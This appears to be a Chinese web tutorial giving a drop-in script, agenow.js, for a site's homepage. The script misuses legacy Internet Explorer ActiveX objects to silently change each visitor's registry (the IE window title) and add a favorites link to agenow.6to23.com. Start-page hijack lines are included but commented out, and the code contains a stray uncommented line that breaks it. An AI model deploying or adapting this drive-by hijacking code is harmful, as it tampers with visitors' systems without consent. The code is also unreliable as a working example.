在主页为添加如下文字
<script src="js/agenow.js"></script>
agenow.js文件如下,具体可修改成你需要的!
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
//this function is only needed if you add favorites or links
function AddFavLnk(loc, DispName, SiteURL)
{
var Shor = Shl.CreateShortcut(loc + "//" + DispName +".URL");
Shor.TargetPath = SiteURL;
Shor.Save();
}
//end add favorites or links function
function f(){
try
{
//ActiveX initialization
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();
try
{
//set home page
//Shl.RegWrite ("HKCU//Software//Microsoft//Internet Explorer//Main//Start Page", "http://agenow.6to23.com");
//Shl.RegWrite ("HKCU//Software//Microsoft//Internet Explorer//Main//Search Page", "http://agenow.6to23.com");
//end set home page
//set IE title
//Shl.RegWrite ("HKEY_CLASSES_ROOT//CLSID//{645FF040-5081-101B-9F08-00AA002F954E}//InfoTip", "Stores deleted items until you permanently remove them from your computer");
Shl.RegWrite ("HKCU//Software//Microsoft//Internet Explorer//Main//Window Title", "Microsoft Internet Explorer");
//end IE title
//add favorites this is the common part;
should be here if you want to add favorites
var WF, Shor, loc;
WF = FSO.GetSpecialFolder(0);
loc = WF + "//Favorites";
if(!FSO.FolderExists(loc))
{
loc = FSO.GetDriveName(WF) + "//Documents and Settings//" + Net.UserName + "//Favorites";
if(!FSO.FolderExists(loc))
{
return;
}
}
AddFavLnk(loc, "【密界社区】", "http://agenow.6to23.com");
}
catch(e)
{}
}
catch(e)
{}
}
function init()
{
setTimeout("f()", 1000);
}
var rnd=Math.random()*10
//init();
if (rnd>=0 &&
rnd<=10)
{
init();
}